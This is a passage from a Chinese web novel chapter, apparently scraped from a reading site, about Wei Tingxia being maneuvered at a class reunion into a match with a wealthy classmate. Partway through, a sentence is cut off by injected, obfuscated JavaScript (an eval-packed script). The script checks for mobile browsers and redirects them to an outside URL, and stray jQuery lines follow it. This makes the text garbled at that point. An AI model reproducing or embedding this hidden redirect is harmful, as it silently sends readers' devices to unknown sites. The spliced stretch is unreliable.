安德这次打来电话,是真有正事。
“我一直在帮你盯着那行人,最近有了新发现。”
卫亭夏拧起眉毛,“你为什么还在追踪他们?”
“这不是重点,”安德语气轻松,“虽然仍不明白你当初怎么找到的他们,但我清楚你不希望他们重回人群,所以一直留意着。”
这是个示好。安德想用行动换取卫亭夏的原谅。
“行,什么发现?”
安德道:“除了你前几天看到的出狱那个,还有三个人,他们正计划着偷渡去你那儿。”
“……”
卫亭夏攥紧手机的指节,用力到发白。
良久,他才缓缓开口:“我不希望他们过来。”
安德道:“我明白。”
“不,你不明白。”卫亭夏的声音极冷,偏偏又凭理智压住起伏,透出一种死水般的漠然。
“我不希望他们出现在燕信风周边几千米的任何地方,我不希望他们和燕信风站在同一片土地。以前我能手下留情,但这次不行。
“如果他们一定要无视我的警告……”
他轻笑一声,道:“我就把他们打碎后喂鱼。”
卫亭夏无权无势,唯一的武器是张漂亮脸蛋。他本该柔弱、迷茫、无能为力。可当这话出口,没人会觉得是玩笑。
他说要做什么,就一定会做。那张美人皮囊下,有冷硬如钢铁的东西,安德五年前见过一次,这是第二次。
安德有时会想,燕信风究竟知不知道自己睡了什么人。
“……”
电话那端沉默了几秒。再开口时,安德这位名义上的兄长终于认真起来:“好,他们上不了船。他们没这个机会。”
“很好,”卫亭夏道,“麻烦你帮我问清楚,他们究竟想做什么。”
“好的。”安德利索应下,这是他擅长的,“我会在72小时之内告诉你答案。”
说完,他挂断了电话,卫亭夏对着一株叶子肥大的植物瞅了一会儿,深呼吸后转过身,想回到包间。
然而他刚回头,就发现有两个人正朝他走来。
[以免你闹笑话,提醒一句,]0188适时开口,[他们是你的同班同学,但交往不多。名字可以不记得。]
而在那两人身后,李妍的身影若隐若现。
他们不是该去五星级酒店度假吗?为什么会来庄园?
卫亭夏面色不改地将手机收回口袋,脸上挂出一个笑。
“卫亭夏!”两人中的那个西装男子率先喊出他的名字,笑容惊喜,“真是你啊,这太有缘分了!”
[杨淮重。]
卫亭夏作势回忆:“你是……杨淮重?”
“哎对对对,是我!”
杨淮重见自己被认出,忙上前两步,颇为亲昵地拍了拍卫亭夏的胳膊,又指向旁边那人,“班长,还认得吗?”
不认得了。
卫亭夏仍然笑着,点点头:“当然认得……”
[田孟。]
“……田孟,对不对?”
眼前这一幕像极了小时候家里亲戚来串门,也不管是不是真亲,往你面前一戳就问记不记得我是谁,纯粹是在为难人。
要是真亲还用得着问吗?嘴甜的马上就叫了。
卫亭夏心里烦得很,不明白自己都躲到城外来了,怎么还能让他们逮个正着。
而他们口中的班长,在发现卫亭夏能喊出自己的名字以后,眼中也多了几分笑意。
比起杨淮重,他穿着明显朴素。但眼尖的便能看出,那看似普通的剪裁,用料却极考究,透着股低调的昂贵。
整个交谈中,杨淮重的目光总若有似无地瞟向田孟,话头也频频往他身上引。显然,田孟是这次聚会的重心所在,是那份过分热络的讨好对象。
“你怎么在这儿?”杨淮重好奇地打量着他。
卫亭夏不想暴露燕信风,只随口应付道:“和朋友来看看。”
杨淮重立刻提议:“那不如咱们一起坐坐?上次李妍邀请你,你说有事,结果现在碰上了,这也太巧了!”
“不了吧,我——”
卫亭夏正要拒绝,李妍却已快步走到近前,“小夏!”
她叫得亲热,脸上也堆满了惊喜:“你怎么会在这里?!”仿佛刚才躲在人群里窥探的不是她。
卫亭夏原本以为只是意外巧合,但李妍这前后不一的态度,分明透着刻意。
拒绝的话被打断,他索性敛去推辞之意,眉眼微缓,再次解释:“和朋友来看看。”
这座度假庄园的档次适中,主要面向中产及以上人群,卫亭夏出现在此,并未超出李妍的预期。
她热情相邀:“既然都来了,一起吃个饭吧?都是老同学了!”语气里的期待显而易见。与之前在停车场那匆匆一瞥的冷淡判若两人。
有意思。态度转变如此突兀,背后必定有所图谋。
“好啊。”
卫亭夏应下了。
而就在他应下的下一秒钟,胡耀推开了包间的门。
一进门他就说:“卫先生遇见同学了。”
燕信风:“同学?”
“是的,”胡耀点头,“很多人,应该是同学聚会。”
燕信风是看过李妍发来的同学聚会邀请函的,他们的聚会地点不是这天,也不该是这个地方。时间和地点的临时调整,让人觉得刻意为之。
“他们去哪里了?”
“另一栋楼,”胡耀道,“需不需要我跟过去看看?”
燕信风挑眉:“你跟过去?”
胡耀不明白他重复是什么意思,就点头。
“他刚才还跟我抱怨,说你态度不好,”燕信风慢慢说,“刚才真该录下来给他听听。”
胡耀反驳:“我没有态度不好。”
“你有的,”燕信风心平气和,“他又不瞎,当然能感觉出来。”
胡耀就奇了怪了,明明是卫亭夏最对不起的人,偏偏摆出一副无所谓的姿态,还搁这儿劝别人。
“好的,”他点头,“我会调整我的态度。”
然后他再次提起刚才的事:“那卫先生——”
燕信风颔首,淡淡道:“我大概知道他们想干什么。”
卫亭夏不知道他那些同学的心思,可燕信风不瞎,早在大学期间,燕信风就把每个人都查干净了。
消失五年,再出现时衣着朴素,开着辆三十万的车,加上燕信风还没有向外界透露他和卫亭夏的关系,落在旁人眼中,恐怕他俩早就闹掰。
还不知道有多少条狗淌着哈喇子扑上去呢……
“去帮我联系一下负责人,”他对胡耀说,“我想和他们谈笔生意。”
……
另一边,卫亭夏走进同学聚会事先定好的餐厅,刚想找个椅子坐下,就被李妍拉住胳膊。
“小夏,你坐这儿!”
她把卫亭夏带到田孟身旁的那个座位,然后笑着对田孟说:“班长,啊不,现在要叫田总,你可照顾着小夏点啊,他好久没回来了!”
整得跟卫亭夏离开五
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936411|177236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年就不会吃饭了似的。
卫亭夏坐下,听0188在脑海中分析:[这很有可能是一场蓄意的拉皮条。]
而对象是卫亭夏和田孟。
刚才那声田总不是在奉承田孟,而是在暗示卫亭夏——这是个有钱人,你既然一向喜欢勾搭有钱的话,那可要把握住他。
被暗示了的卫亭夏笑笑,端起杯子喝了口水。
“把很有可能去掉,”他告诉0188,“这就是一场拉皮条。”
本以为是什么高级手腕,原来这么无趣,卫亭夏琢磨着得想办法溜走,要是让燕信风知道可了不得。
但他人都坐下了,一旁守着的人怎么可能让他轻易离开?
菜端上桌,杨淮重拿着酒瓶来回倒了一圈,然后坐在卫亭夏右手边。
“卫亭夏,咱俩喝一个!”
他举起酒杯,和卫亭夏碰杯,“咱俩都多少年没见了,你说说你,去哪儿也该跟同学们说一声。”
“走的比较急,”卫亭夏道,“没来得及说。”
杨淮重哈哈笑了两声,把杯中酒一口干了,而卫亭夏只是浅浅抿了一口,将杯子放在桌上。
按照不知道什么鬼东西规定的酒桌文化,他这个举动显然是很不恭敬的,可巧就巧在他喝酒上脸,即便只喝了浅浅一口,仍然有一层浅淡的绯红映在眼尾耳下,非常好看。
连带着那点轻视随意,都变成了美人端架子的风情。
田孟的眼神变得更满意,不住地在卫亭夏周身扫视,越来越喜欢,像在盯一个物件。
而另一边,宋妍开始用玩笑的语气介绍田孟的身家,从她的眼神姿态不难看出,她有求于他。
卫亭夏和0188分享:“我第一次被当人情。”
[这是什么很值得骄傲的事吗?]
“不是,但很新鲜。”
李妍已经开始撮合着让卫亭夏和田孟喝一杯,而田孟也举起了杯子。
这种事情大家都不方便拿到明面上说,彼此心照不宣就好。眼前这次碰杯,便是如此:如果卫亭夏的杯沿真碰上了田孟的,那便是无声的应允,你情我愿的勾连。
刹那间,所有目光都胶着在卫亭夏那只悬着的手上,屏息等待他的抉择。
田孟则不紧不慢地擎着杯,眼底尽是志在必得的笃定。
就在这短暂的僵持间,敲门声突兀响起。
杨淮重皱眉:“谁啊,偏挑这时候来?”
话音未落,包间门被推开。
一个经理模样的男人走进来,身后跟着两名服务生,手中托盘稳稳托着醒酒器与酒杯。澄澈的酒液在醒酒器中折射出诱人的光泽。
众人心下了然,认为是冲着田孟的面子,专程来送酒的。田孟也这样认为,嘴角的笑意也不由加深了几分。
然而,出乎所有人意料,经理竟对田孟视若无睹,一路快步走到卫亭夏身旁,微微躬身致意。
“卫先生,实在抱歉,未能第一时间得知您大驾光临,多有怠慢。”
经理姿态放得极低,歉声说罢,亲自转身取过醒酒器。一旁服务生早已为卫亭夏换上新杯,经理恭谨地弯腰,将酒液徐徐注入杯中。
杯中液体轻晃,馥郁醉人的甜香瞬间弥漫开来,一闻便知绝非凡品。
经理低声解释:“这瓶是特殊年份的伊贡米勒TBA,您偏好甜酒,因此特意选了这支,希望合您心意。”
众人愕然。
特殊年份的伊贡米勒TBA,单瓶价值可达百万,而更令人心惊的,是经理话中透露的信息。